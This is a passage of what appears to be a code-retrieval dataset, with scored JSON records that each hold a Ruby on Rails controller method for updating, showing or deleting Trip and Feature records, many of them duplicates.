redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d193d1c8dae27f6d0ce74fd30881c26", "score": "0.61597097", "text": "def edit_in_place\n id = params[:id].split(\"_\")[-1]\n @feature = RestaurantFeature.find(id.to_i)\n success = @feature.update_attributes(:value => params[:new_value].strip)\n if success\n render :text => {:is_error => false, :error_text => nil, :html => @feature.value}.to_json\n else\n render :text => {:is_error => true,\n :error_text => \"Error updating feature -- possible duplicate\",\n :html => @feature.value}.to_json\n end\n end", "title": "" }, { "docid": "afcb05408a94ab6fdb2769e53481d411", "score": "0.6159125", "text": "def update\n respond_to do |format|\n if @new_feature.update(new_feature_params)\n format.html { redirect_to @new_feature, notice: 'New feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @new_feature }\n else\n format.html { render :edit }\n format.json { render json: @new_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f81b987db50b9cccf4fb4bb70f8ac35", "score": "0.61572695", "text": "def update\n\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n #binding.pry\n if @trip.update_attributes(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b76bcc70883127da3c678b655a6cec1d", "score": "0.6123801", "text": "def set_trip\n @trip = GtfsApi::Trip.find(params[:id])\n end", "title": "" }, { "docid": "3fd37b8473c1a669047d553d3944ab6a", "score": "0.61118513", "text": "def destroy\n @trip_feature = TripFeature.find(params[:id])\n @trip_feature.destroy\n\n respond_to do |format|\n format.html { redirect_to trip_features_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "08cf38cd19ec5dd421a66a0eb01eeab0", "score": "0.6091278", "text": "def update\n @trip = current_user.trips.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c0327cdba27ab43a85118d9aef516a1", "score": "0.60881805", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n format.html { redirect_to :action => \"index\", :item_id => params[:item_id] }\n # format.html { redirect_to @feature, notice: 'Feature was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b9ce33f641ae9364e540be9eff5dcb7", "score": "0.6086043", "text": "def new\n @trip_feature = TripFeature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip_feature }\n end\n end", "title": "" }, { "docid": "ec8112f9c7fb38630f9f87996c621c46", "score": "0.60854805", "text": "def update\n respond_to do |format|\n if @feat.update(feat_params)\n format.html { redirect_to @feat, notice: 'Feat was successfully updated.' }\n format.json { render :show, status: :ok, location: @feat }\n else\n format.html { render :edit }\n format.json { render json: @feat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bd83389ad7a5f122cab8487b6b49eea", "score": "0.6084721", "text": "def update\n respond_to do |format|\n if @trip.update_attributes(trip_params)\n format.html { redirect_to @trip, notice: 'Registro actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "335f9d76a280362606dc21c4bdb2009c", "score": "0.6082766", "text": "def update\n\t\ttrip = Trip.find(params[:id])\n\t\ttrip.update_attributes(params[:trip])\n\n\t\tredirect_to trips_path\n\tend", "title": "" }, { "docid": "c05697a3e90fdb3b4bbd008660286ba1", "score": "0.60779107", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38f3229bdcd97638a97f4b031acbebc6", "score": "0.60692906", "text": "def update\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :ok }\n\t\t\telse\n \tformat.html { render action: \"edit\" }\n \tformat.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88adea9fea2f656ea9e78ac082fb298f", "score": "0.6031423", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "11b22256711e0f9b6911d77d725a0fd4", "score": "0.60313976", "text": "def show\n @trip_feature = TripFeature.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip_feature }\n end\n end", "title": "" }, { "docid": "b07591f913169e2c7a1f56f0fb568500", "score": "0.60230553", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: \"Trip was successfully updated.\" }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1951e5e21745927077599f7734d71f8", "score": "0.6007769", "text": "def set_feature\n if params[:id].present?\n @feature = Feature.find(params[:id])\n Rails.logger.debug \"id is #{@feature}\"\n else\n @feature = Feature.find(params[:features_id])\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09e89172bfdce8576f16543097a9e205", "score": "0.6007123", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef8f2ad835fcc62e46fb2d38631ec66c", "score": "0.60039866", "text": "def update\n respond_to do |format|\n if trip.update(trip_params)\n format.html { redirect_to trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, address: trip }\n else\n format.html { render :edit }\n format.json { render json: trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63da52e0a6eacc1506d3be849fcbb3be", "score": "0.59793234", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Поездка успешно обновлена' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a81dd112460161468af69475d34141be", "score": "0.59790623", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n get_features\n format.js\n format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5977744", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "2348beb33c8c45e813d9c223fb7696ab", "score": "0.5975896", "text": "def update_trip_details\n params.permit({details: details_attributes}, :trip)\n params.require(:trip)\n @trips = Trip.where([\"id = :trip_id or previous_trip_id = :trip_id\", { trip_id: params[:trip] } ])\n if !@trips.empty?\n @trips.each do |trip|\n trip.update(details: trip.details.merge(params[:details]))\n end\n render status:200, json:{trip: @trips}\n else\n render status:404, json: nil\n end\n end", "title": "" }, { "docid": "44c16081ceaf3659ec3e06b6e1f8acb8", "score": "0.5975309", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "492fdc0f2692f802562d8cbc9d04389c", "score": "0.59742135", "text": "def update\n @trip = Trip.find(params[:id])\n @trip.update_attributes(params[:trip])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to river_trip_path(@trip.river_id, @trip.id), notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end \n\n end", "title": "" }, { "docid": "1ca5a882c517e1dbb561c8440004e3e5", "score": "0.5967034", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to trips_path, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: trips_path }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a93cffe3fb473c0f1b1ce7927a73391f", "score": "0.59642696", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "a93cffe3fb473c0f1b1ce7927a73391f", "score": "0.59642696", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "edbf814f5e44762af0b7377161ac3b56", "score": "0.59631306", "text": "def update\n respond_to do |format|\n if @field_trip.update(field_trip_params)\n format.html { redirect_to @field_trip, notice: 'Field trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @field_trip }\n else\n format.html { render :edit }\n format.json { render json: @field_trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edbf814f5e44762af0b7377161ac3b56", "score": "0.59631306", "text": "def update\n respond_to do |format|\n if @field_trip.update(field_trip_params)\n format.html { redirect_to @field_trip, notice: 'Field trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @field_trip }\n else\n format.html { render :edit }\n format.json { render json: @field_trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac59e50e7bbdc0b4ea99e64ae50ae842", "score": "0.59512985", "text": "def update_details\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to edit_photos_embed_trip_path @trip }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e60aac06f57cc4afd31f0dd96ffcc8cf", "score": "0.5940696", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @user, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a25dc86eeffb43d2e85423fc97a3fd41", "score": "0.59343636", "text": "def update\n # Logic to update a record\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5176051d138cef7f1445cae8e37d4351", "score": "0.59260637", "text": "def update_feature_using_put_with_http_info(feature, feature_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FeatureApi.update_feature_using_put ...'\n end\n # verify the required parameter 'feature' is set\n if @api_client.config.client_side_validation && feature.nil?\n fail ArgumentError, \"Missing the required parameter 'feature' when calling FeatureApi.update_feature_using_put\"\n end\n # verify the required parameter 'feature_id' is set\n if @api_client.config.client_side_validation && feature_id.nil?\n fail ArgumentError, \"Missing the required parameter 'feature_id' when calling FeatureApi.update_feature_using_put\"\n end\n # resource path\n local_var_path = '/feature/{feature_id}'.sub('{' + 'feature_id' + '}', feature_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(feature)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Feature')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FeatureApi#update_feature_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b401b3262fb15689c22d6c4551251604", "score": "0.5916374", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "233d2521a5c109eb2d2257bf59eea2c8", "score": "0.5912665", "text": "def update\n @user = User.find(params[:user_id])\n @tour = @user.tours.find(params[:tour_id])\n @trip = @tour.trips.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to user_tour_trip_path(@user,@tour,@trip), notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e941bec2a7edd0edb5b7309c75048a96", "score": "0.5907735", "text": "def update\r\n @trip = current_user.trips.find_by(id: params[:id])\r\n @trip.update(trip_params)\r\n redirect_to trip_path(@trip)\r\n end", "title": "" }, { "docid": "202ab31054562f6b9f41c30a22c10877", "score": "0.5904569", "text": "def update_feature_using_put_with_http_info(feature, feature_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UtilsApi.update_feature_using_put ...'\n end\n # verify the required parameter 'feature' is set\n if @api_client.config.client_side_validation && feature.nil?\n fail ArgumentError, \"Missing the required parameter 'feature' when calling UtilsApi.update_feature_using_put\"\n end\n # verify the required parameter 'feature_id' is set\n if @api_client.config.client_side_validation && feature_id.nil?\n fail ArgumentError, \"Missing the required parameter 'feature_id' when calling UtilsApi.update_feature_using_put\"\n end\n # resource path\n local_var_path = '/nucleus/v1/feature/{feature_id}'.sub('{' + 'feature_id' + '}', feature_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(feature)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Feature')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UtilsApi#update_feature_using_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c222e7dd3fbc877fdc0a57a542e37148", "score": "0.5889458", "text": "def set_new_feature\n @new_feature = NewFeature.find(params[:id])\n end", "title": "" }, { "docid": "f1176b564a11c9efc9f6156b897d2009", "score": "0.58829063", "text": "def update\n @one_way_trip = OneWayTrip.find(params[:id])\n flash[:notice] = 'OneWayTrip was successfully updated.' if @one_way_trip.update_attributes(params[:one_way_trip])\n respond_with(@one_way_trip)\n end", "title": "" }, { "docid": "ae4edb2ed8d69592dccc43b4e0af2c2a", "score": "0.5874611", "text": "def update\n @path_train = PathTrain.find(params[:id])\n\n respond_to do |format|\n if @path_train.update_attributes(params[:path_train])\n format.html { redirect_to @path_train, notice: 'Path train was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @path_train.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b7a56ccac14ce524fbbf68372d2089f", "score": "0.586329", "text": "def tfeature_params\n params.require(:tfeature).permit(:name, :feature_id)\n end", "title": "" }, { "docid": "1f50f67c0d3971994a2c7fc8bca2c8fb", "score": "0.58601165", "text": "def add(feature)\n @client.put build_path(\"#{FeaturesKey}/features/#{feature.key}\"), '1'\n true\n end", "title": "" }, { "docid": "205827d6680ca5a389ce2cc186a48b8f", "score": "0.5855312", "text": "def update\n respond_to do |format|\n if @special_feature.update(special_feature_params)\n format.html { redirect_to @special_feature, notice: 'Special feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_feature }\n else\n format.html { render :edit }\n format.json { render json: @special_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b63ae3130520918382e75a7b4935cdf", "score": "0.58499926", "text": "def updatetrip\n if params[:employee_id] == '0'\n employee = Employee.first\n else\n employee = Employee.find(params[:employee_id])\n end\n lovedone = Lovedone.find(params[:lovedone_id])\n\n if trip_params[:status] == 'started'\n lovedone.employee_id = employee.id\n lovedone.save\n employee.service_status = \"PickUp\" if employee.company.provider_type == \"Transport\"\n employee.service_status = \"Arrival\" if employee.company.provider_type == \"Home_Health\"\n elsif trip_params[:status] == 'completed'\n lovedone.employee_id = ''\n lovedone.save\n employee.service_status = \"DropOff\" if employee.company.provider_type == \"Transport\"\n employee.service_status = \"Departure\" if employee.company.provider_type == \"Home_Health\"\n end\n if employee.save\n send_emailer(employee, lovedone)\n end\n @trip = Trip.find(params[:id]) \n if @trip.update(trip_params)\n render json: @trip, status: :ok\n else\n render json: @trip.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "bcce3559036464108dbb099f2ea2e072", "score": "0.584779", "text": "def update\n @intended_trip = IntendedTrip.get(params[:id])\n @intended_trip.similiar_trips( @intended_trip )\n respond_to do |format|\n if @intended_trip.save\n format.html { redirect_to @intended_trip, notice: 'Your trip has been updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intended_trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7c11a85001c106125ee1f8d6fa5a8ea", "score": "0.58351135", "text": "def update\n @fieldtrip = Fieldtrip.find(params[:id])\n\n respond_to do |format|\n if @fieldtrip.update_attributes(fieldtrip_params)\n format.html { redirect_to @fieldtrip, flash: {success: 'Fieldtrip was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fieldtrip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9528ee57e864ce4596071dfc9b01c09", "score": "0.5833601", "text": "def update\n respond_to do |format|\n if @vehicle_trip.update(vehicle_trip_params)\n format.html { redirect_to vehicle_trips_path, notice: 'Vehicle trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_trip }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2401eac5f3ad0d2d1d4c7c35f98761d2", "score": "0.5828272", "text": "def set_feature\n @feature = Feature.find(params[:id])\n end", "title": "" }, { "docid": "0c00725a4837fec356d86c9935a2a1d9", "score": "0.5826834", "text": "def update(app_id_or_app_name, app_feature_id_or_app_feature_name, body = {})\n @client.app_feature.update(app_id_or_app_name, app_feature_id_or_app_feature_name, body)\n end", "title": "" }, { "docid": "313a1846931afa0d171431310858bd4a", "score": "0.5821779", "text": "def update\n @feature_type = FeatureType.find(params[:id])\n\n respond_to do |format|\n if @feature_type.update_attributes(params[:feature_type])\n format.html { redirect_to @feature_type, notice: 'Feature type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feature_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "451faf6d407847acaace1d6fb9e0e57c", "score": "0.5812997", "text": "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Vi har opdateret din tur' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "799235c4296f4fa83f075f3fcd69dd8e", "score": "0.5812797", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to(@trip, :notice => 'Trip was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "799235c4296f4fa83f075f3fcd69dd8e", "score": "0.5812797", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to(@trip, :notice => 'Trip was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c40154d4786c640f82c2b310513d5627", "score": "0.5811547", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c40154d4786c640f82c2b310513d5627", "score": "0.5811547", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
d86f4cd51da25005d56ee43bdef8c4c4
GET /honchos/1 GET /honchos/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "0b9eaf438314821b0bd1620530525766", "score": "0.69007814", "text": "def show\n @phono = Phono.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @phono }\n end\n end", "title": "" }, { "docid": "2ad0d971a6d00ba5168a4c5c625b08a0", "score": "0.6877797", "text": "def show\n @homer = Homer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homer }\n end\n end", "title": "" }, { "docid": "2ad0d971a6d00ba5168a4c5c625b08a0", "score": "0.6877797", "text": "def show\n @homer = Homer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homer }\n end\n end", "title": "" }, { "docid": "a182219aaa5a45f703360f294f0231ac", "score": "0.6803027", "text": "def show\n @h1 = H1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @h1 }\n end\n end", "title": "" }, { "docid": "099771b9c281bc847a268f506f46153e", "score": "0.67988586", "text": "def show\n @homologacion = Homologacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homologacion }\n end\n end", "title": "" }, { "docid": "0d1aa0928bdd2a7e1985b2cf5fd2326a", "score": "0.67349905", "text": "def show\n @jusho = Jusho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jusho }\n end\n end", "title": "" }, { "docid": "dd61d24e8cef878c4f6438d4632ec485", "score": "0.667459", "text": "def index\n @honyakus = Honyaku.all\n # render json: @honyakus\n end", "title": "" }, { "docid": "8cd9a36c89a95d6b8d51104831c920de", "score": "0.6653584", "text": "def show\n @toushikomon = Toushikomon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @toushikomon }\n end\n end", "title": "" }, { "docid": "f40aa280a7461e88002c725900dc7922", "score": "0.6621077", "text": "def show\n @hola = Hola.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hola }\n end\n end", "title": "" }, { "docid": 